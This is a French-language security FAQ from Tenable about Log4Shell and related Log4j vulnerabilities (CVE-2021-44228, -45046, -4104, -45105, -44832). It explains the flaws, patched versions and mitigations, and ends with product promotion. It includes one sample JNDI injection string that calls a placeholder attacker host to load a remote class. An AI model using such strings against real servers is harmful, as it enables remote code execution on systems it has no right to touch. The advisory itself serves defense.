CVE-2021-44228, CVE-2021-45046, CVE-2021-4104 : Questions fréquentes sur Log4Shell et les vulnérabilités associées

Liste de questions fréquentes concernant Log4Shell et les vulnérabilités correspondantes.

Contexte

Suite à la découverte de la vulnérabilité Apache Log4j connue sous le nom de Log4Shell le 9 décembre dernier, la Security Response Team a rédigé la publication suivante (une FAQ) pour répondre à certaines questions posées fréquemment au sujet de Log4Shell et des nouvelles vulnérabilités découvertes dans Log4j.

FAQ

QU'est-ce que Log4j ?

Log4j est une bibliothèque de journalisation Java courante, intégrée à Apache Logging Services. Elle sert à répertorier les messages d'une application ou d'un service, souvent à des fins de débogage.

Qu'est-ce que CVE-2021-44228 ?

CVE-2021-44228 est une vulnérabilité d'exécution de code distant (RCE) de Apache Log4j 2.0 à 2.14.1. Elle a été baptisée Log4Shell par les spécialistes de sécurité.

Comment CVE-2021-44228 peut être exploitée ?

Un attaquant peut, à distance et sans s'être authentifié, exploiter cette faille en envoyant à un serveur exécutant une version vulnérable de log4j une requête spécialement prévue à cet effet. Il lui suffit de soumettre sur un site web une chaîne d'exploitation dans un champ de texte, ou encore d'inclure une chaîne d'exploitation dans les en-têtes HTTP destinés à un serveur vulnérable. Si le serveur vulnérable utilise log4j pour enregistrer les requêtes, l'exploit peut profiter de la faille pour obliger le serveur à exécuter une charge indésirable d'un serveur contrôlé par un attaquant via l'interface Java Naming and Directory Interface (JNDI) sur toute une série de services, comme par exemple Lightweight Directory Access Protocol (LDAP).

Ce type d'exploit pourrait ressembler à quelque chose comme ça :

${jndi:ldap://attackersite.com/exploit.class}

Que se passe-t-il si la vulnérabilité est exploitée ?

La bibliothèque log4j vulnérable enverra une requête pour exécuter une charge malveillante depuis le serveur contrôlé par l'attaquant.

Y a-t-il déjà eu des attaques en environnement réel ?

Des attaquants ont utilisé Log4Shell de toutes sortes de manières.

• Logiciel de minage de cryptomonnaie (cryptomineurs)
• Robots de déni de service distribué (DDoS)
• Ransomware

On a signalé que des groupes contrôlés par certains États et des courtiers en accès initiaux ont déjà commencé à utiliser cette faille. Il faut s'attendre à ce que des groupes APT et des habitués des rançongiciels s'en servent également dans un futur très proche.

Pourquoi Log4Shell est si problématique ?

Log4j est une bibliothèque très répandue, utilisée pour un grand nombre de produits et de services à des fins de journalisation, ce qui représente une grande surface d'attaque. L'exploitation de Log4Shell est simple, et on trouve déjà des exemple de code sur GitHub. Comme de nombreuses organisations ignorent également si et dans quelle mesure cette bibliothèque est utilisée dans les produits et les services qu'elles utilisent, cette faille risque d'avoir des effets sur le long terme.

Le problème Log4Shell a-t-il été réglé avec Log4j 2.15.0 ?

Non, Apache a publié Log4j 2.16.0 pour régler une correction incomplète pour Log4Shell. Apache a attribué un nouveau CVE à cette correction incomplète : CVE-2021-45046.

Qu'est-ce que CVE-2021-45046 ?

CVE-2021-45046 a été signalée au départ comme une vulnérabilité aux dénis de service pour Apache Log4j 2.0 à 2.15.0, avant d'être requalifée en RCE. Dans certaines configurations personnalisée spécifiques, lors de l'utilisation d'une recherche contextuelle (par ex. : $${ctx:loginId}), un attaquant formulant une requête JNDI avec injection de données malveillantes peut entraîner un DoS ou faire passer une RCE sur un serveur vulnérable à l'aide de Log4j 2.

L'atténuation de Log4Shell s'applique-t-elle à CVE-2021-45046 ?

Non. Selon Apache, l'atténuation de CVE-2021-44228 — qui consiste à configurer formatMsgNoLookups sur true — ne suffit pas. Elle ne permet pas de gérer d'autres chemins d'attaque de code où pourraient se produire des recherches de message. Apache recommande donc maintenant de passer à une version sécurisée de Log4j, à partir de 2.16.0 et 2.12.2 (pour Java 7). Si ce n'est pas possible, Apache recommande la suppression pure et simple du classpath JndiLookup.

Que fait la version Log4j 2.16.0 ?

Selon les notes de version, Apache a décidé de durcir Log4j en supprimant les recherches de message et en désactivant JNDI par défaut.

Mon organisation utilise Java 7 et nous ne pouvons pas passer à Log4j 2.16.0. Que faire ?

Apache a publié Log4j 2.12.2 afin de gérer la CVE-2021-45046 pour Java 7. Au cas où il ne serait pas possible d'appliquer un correctif immédiatement, Apache préconise la suppression de la classe JndiLookup du classpath. Les instructions permettant de supprimer ce classpath sont présentées dans la documentation Apache.

Qu'est-ce que CVE-2021-45105 ?

CVE-2021-45105 est une vulnérabilité aux attaques par déni de service (DoS) récemment découverte dans Apache Log4j. Cette vulnérabilité est exploitable dans les configurations personnalisées. Un attaquant peut envoyer une requête prévue à cet effet, contenant une recherche récursive pouvant entraîner un déni de service. Pour gérer cette vulnérabilité, Apache a publié la version 2.17.0 de Log4j. De plus, Apache propose des options d'atténuation en cas d'impossibilité d'effectuer la mise à jour immédiate. Nous vous conseillons de consulter régulièrement la page des conseils de sécurité d'Apache : de nouvelles atténuations pourraient y être proposées, selon les derniers développements de la situation.

Log4j 1.x est-il vulnérable ?

Beaucoup d'informations sortent encore au sujet de Log4Shell. À la date de publication de ce blog, Apache a annoncé que la version Log4j 1.2 est également vulnérable lorsque Log4j est configuré pour utiliser JMSAppender, ce qui n'est pas sa configuration par défaut, mais qu'elle n'est pas spécifiquement vulnérable à CVE-2021-44228. La CVE-2021-4104 a été attribuée à cette vulnérabilité de Log4j 1.2.

Y a-t-il un correctif pour Log4j 1.2 ?

Non, les versions 1.x de Log4j sont en fin de vie (EOL), il n'est donc pas prévu de leur publier des mises à jour de sécurité. Il est conseillé de passer à la version Log4j 2.12.2 (pour Java 7) ou 2.16.0 et versions ultérieures.

Comment remédier à CVE-2021-4104 ?

Il existe quelques options d'atténuation pour empêcher l'exploitation de CVE-2021-4104.

• Ne pas utiliser JMSAppender dans la configuration Log4j
• Supprimer la classe de fichier JMSAppender (org/apache/log4j/net/JMSAppender.class)
• Limiter l'accès utilisateur à l'OS pour éviter qu'un attaquant ne puisse modifier la configuration de Log4j

Qu'est-ce que c'est que toutes ces vulnérabilités ?

Voilà ce que nous savions au 18 décembre :

• Quatre CVE ont été attribuées pour les vulnérabilités affectant Log4j

• Seule CVE-2021-44228 est exploitable directement quand les versions 2.0 à 2.14.1 de Log4j sont incluses en bibliothèques dans des applications et des services
• CVE-2021-45046, CVE-2021-4104 et CVE-2021-45105 ne sont présentes que dans certaines configurations personnalisées
• CVE-2021-4104 ne sera pas corrigée, car les versions 1.x de Log4j ne sont plus mises à jour (EOL)

Quelles sont les versions corrigées de Log4j qui permettent de remédier à ces vulnérabilités ?

Quelle est la probabilité que ces vulnérabilités soient exploitées ?

Le tableau ci-dessous résume l'exploitabilité potentielle, qu'une vulnérabilité ait déjà été exploitée ou non.

Tenable est-il vulnérable à ces vulnérabilités de Log4j ?

Bob Huber, RSSI de Tenable, a publié un communiqué complet que vous pouvez retrouver ici.

Par quels moyens moi ou mon organisation pouvons identifier ces vulnérabilités dans Log4j ?

Tenable a publié un certain nombre de plug-ins, de modèles de scan et de dashboards (Tenable.io, Tenable.sc) pour nos produits.

• Pour rester au fait des derniers plug-ins publiés, reportez-vous à cette publication de la communauté Tenable.
• Pour rester au fait des derniers modèles de scan publiés, reportez-vous à cette publication de la communauté Tenable.

Les clients qui ne sont pas en mesure d'appliquer immédiatement les correctifs pour ces vulnérabilités peuvent utiliser les audits CVE-2021-44228/CVE-2021-45046 pour déterminer si des atténuations de contournements Log4j ont été correctement mises en œuvre sur leurs systèmes. Vous trouverez ici une description plus détaillée de ces audits.

Qu'est-ce que CVE-2021-44832 ?

CVE-2021-44832 est une nouvelle vulnérabilité découverte dans Log4j et corrigée récemment par Apache. L'exploitation de cette faille est assez improbable, au vu des prérequis qu'elle nécessite. Pour en savoir plus, veuillez consulter cet article de la communauté Tenable.

Où trouver plus d'informations

• Page des ressources de Tenable dédiée à Log4Shell
• Le blog de Tenable sur CVE-2021-44228 (Log4Shell)
• Ressources et FAQ de la communauté Tenable sur Log4Shell

Rejoignez l'équipe SRT de Tenable sur Tenable Community.

Apprenez-en plus sur Tenable, la première plateforme de Cyber Exposure qui vous permet de gérer votre surface d'attaque moderne de manière globale.

Profitez d'un essai gratuit de 30 jours de Tenable.io Vulnerability Management.